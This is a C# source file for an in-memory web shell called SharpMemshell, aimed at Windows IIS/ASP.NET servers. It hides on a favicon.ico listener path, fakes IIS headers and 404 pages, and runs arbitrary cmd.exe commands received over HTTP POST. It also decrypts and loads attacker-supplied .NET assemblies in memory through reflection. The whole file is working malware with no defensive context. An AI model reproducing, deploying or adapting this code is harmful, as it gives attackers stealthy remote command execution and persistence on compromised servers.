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memshell.cs
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using System.Diagnostics;
using System.Text;
using System.IO;
using System.Net;
using System.Web;
using System;
using System.Collections.Generic;
using System.Collections;
using System.Threading;
public class SharpMemshell
{
//For EXE
static void Main(string[] args)
{
HttpContext ctx = HttpContext.Current;
Thread Listen = new Thread(Listener);
Thread.Sleep(0);
Listen.Start(ctx);
}
public SharpMemshell()
{
HttpContext ctx = HttpContext.Current;
Thread Listen = new Thread(Listener);
Thread.Sleep(0);
Listen.Start(ctx);
}
public static void log(string data)
{
try
{
string logfile = "c:\\log.txt";
if (!File.Exists(logfile))
{
byte[] output = System.Text.Encoding.Default.GetBytes(data);
FileStream fs = new FileStream(logfile, FileMode.Create);
fs.Write(output, 0, output.Length);
fs.Flush();
fs.Close();
}
else
{
using (StreamWriter sw = new StreamWriter(logfile, true))
{
sw.WriteLine(data);
}
}
}
catch(Exception e)
{
Console.WriteLine("Log error! Error: \n{0}",e);
}
}
public static Dictionary<string, string> parse_post(HttpListenerRequest request)
{
var post_raw_data = new StreamReader(request.InputStream, request.ContentEncoding).ReadToEnd();
Dictionary<string, string> postParams = new Dictionary<string, string>();
string[] rawParams = post_raw_data.Split('&');
foreach (string param in rawParams)
{
string[] kvPair = param.Split('=');
string p_key = kvPair[0];
string value = HttpUtility.UrlDecode(kvPair[1]);
postParams.Add(p_key, value);
}
return postParams;
}
public static void SetRespHeader(HttpListenerResponse resp)
{
resp.Headers.Set(HttpResponseHeader.Server, "Microsoft-IIS/8.5");
resp.Headers.Set(HttpResponseHeader.ContentType, "text/html; charset=utf-8");
resp.Headers.Add("X-Powered-By", "ASP.NET");
}
public static void Listener(object ctx)
{
HttpListener listener = new HttpListener();
try
{
if (!HttpListener.IsSupported)
{
return;
}
string input_key = "key";
string pass = "pass";
string nodata = "PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMDEvL0VOIiJodHRwOi8vd3d3LnczLm9yZy9UUi9odG1sNC9zdHJpY3QuZHRkIj4NCjxIVE1MPjxIRUFEPjxUSVRMRT5Ob3QgRm91bmQ8L1RJVExFPg0KPE1FVEEgSFRUUC1FUVVJVj0iQ29udGVudC1UeXBlIiBDb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXMtYXNjaWkiPjwvSEVBRD4NCjxCT0RZPjxoMj5Ob3QgRm91bmQ8L2gyPg0KPGhyPjxwPkhUVFAgRXJyb3IgNDA0LiBUaGUgcmVxdWVzdGVkIHJlc291cmNlIGlzIG5vdCBmb3VuZC48L3A+DQo8L0JPRFk+PC9IVE1MPg0K";
string url = "http://*:80/favicon.ico/";
listener.Prefixes.Add(url);
listener.Start();
byte[] not_found = System.Convert.FromBase64String(nodata);
string key = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(input_key))).Replace("-", "").ToLower().Substring(0, 16);
string md5 = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(pass + key))).Replace("-", "");
Dictionary<string, dynamic> sessiontDirectory = new Dictionary<string, dynamic>();
Hashtable sessionTable = new Hashtable();
while (true)
{
HttpListenerContext context = listener.GetContext();
HttpListenerRequest request = context.Request;
HttpListenerResponse response = context.Response;
SetRespHeader(response);
Stream stm = null;
HttpContext httpContext;
try
{
if (ctx != null)
{
httpContext = ctx as HttpContext;
}
else
{
HttpRequest req = new HttpRequest("", request.Url.ToString(), request.QueryString.ToString());
System.IO.StreamWriter writer = new System.IO.StreamWriter(response.OutputStream);
HttpResponse resp = new HttpResponse(writer);
httpContext = new HttpContext(req, resp);
}
var method = request.Headers["Type"];
if (method == "print")
{
byte[] output = Encoding.UTF8.GetBytes("OK");
response.StatusCode = 200;
response.ContentLength64 = output.Length;
stm = response.OutputStream;
stm.Write(output, 0, output.Length);
stm.Close();
}
else if (method == "cmd" && request.HttpMethod == "POST")
{
Dictionary<string, string> postParams = parse_post(request);
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + postParams[pass];
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.Start();
byte[] data = Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());
response.StatusCode = 200;
response.ContentLength64 = data.Length;
stm = response.OutputStream;
stm.Write(data, 0, data.Length);
}
else if (method == "mem_b64" && request.HttpMethod == "POST")
{
Dictionary<string, string> postParams = parse_post(request);
byte[] data = System.Convert.FromBase64String(postParams[pass]);
data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data, 0, data.Length);
Cookie sessionCookie = request.Cookies["ASP.NET_SessionId"];
if (sessionCookie == null)
{
Guid sessionId = Guid.NewGuid();
var payload = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data });
sessiontDirectory.Add(sessionId.ToString(), payload);
response.SetCookie(new Cookie("ASP.NET_SessionId", sessionId.ToString()));
byte[] output = Encoding.UTF8.GetBytes("");
response.StatusCode = 200;
response.ContentLength64 = output.Length;
stm = response.OutputStream;
stm.Write(output, 0, output.Length);
}
else
{
dynamic payload = sessiontDirectory[sessionCookie.Value];
MemoryStream outStream = new MemoryStream();
object o = ((System.Reflection.Assembly)payload).CreateInstance("LY");
o.Equals(outStream);
o.Equals(httpContext);
o.Equals(data);
o.ToString();
byte[] r = outStream.ToArray();
outStream.Dispose();
response.StatusCode = 200;
String new_data = md5.Substring(0, 16) + System.Convert.ToBase64String(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length)) + md5.Substring(16);
byte[] new_data_bytes = Encoding.ASCII.GetBytes(new_data);
response.ContentLength64 = new_data_bytes.Length;
stm = response.OutputStream;
stm.Write(new_data_bytes, 0, new_data_bytes.Length);
}
}
else if (method == "mem_raw" && request.HttpMethod == "POST" && request.HasEntityBody)
{
int contentLength = int.Parse(request.Headers.Get("Content-Length"));
byte[] array = new byte[contentLength];
request.InputStream.Read(array, 0, contentLength);
byte[] data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(array, 0, array.Length);
if (sessionTable["payload"] == null)
{
sessionTable["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data });
}
else
{
object o = ((System.Reflection.Assembly)sessionTable["payload"]).CreateInstance("LY");
System.IO.MemoryStream outStream = new System.IO.MemoryStream();
o.Equals(outStream);
o.Equals(httpContext);
o.Equals(data);
o.ToString();
byte[] r = outStream.ToArray();
outStream.Dispose();
if (r.Length > 0)
{
r = new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length);
response.StatusCode = 200;
stm = response.OutputStream;
response.ContentLength64 = r.Length;
stm.Write(r, 0, r.Length);
}
}
}
else
{
response.StatusCode = 404;
response.ContentLength64 = not_found.Length;
stm = response.OutputStream;
stm.Write(not_found, 0, not_found.Length);
}
}
catch (Exception e)
{
response.StatusCode = 404;
response.ContentLength64 = not_found.Length;
stm = response.OutputStream;
stm.Write(not_found, 0, not_found.Length);
Console.WriteLine("Exception caught1: " + e.ToString());
//log("Exception caught1: " + e.ToString());
}
finally
{
if (stm != null)
{
stm.Flush();
stm.Close();
}
response.OutputStream.Flush();
response.OutputStream.Close();
}
}
}
catch (Exception e)
{
Console.WriteLine("Exception caught2: " + e.ToString());
//log("Exception caught2: "+ e.ToString());
if (listener.IsListening)
{
listener.Stop();
}
}
}
}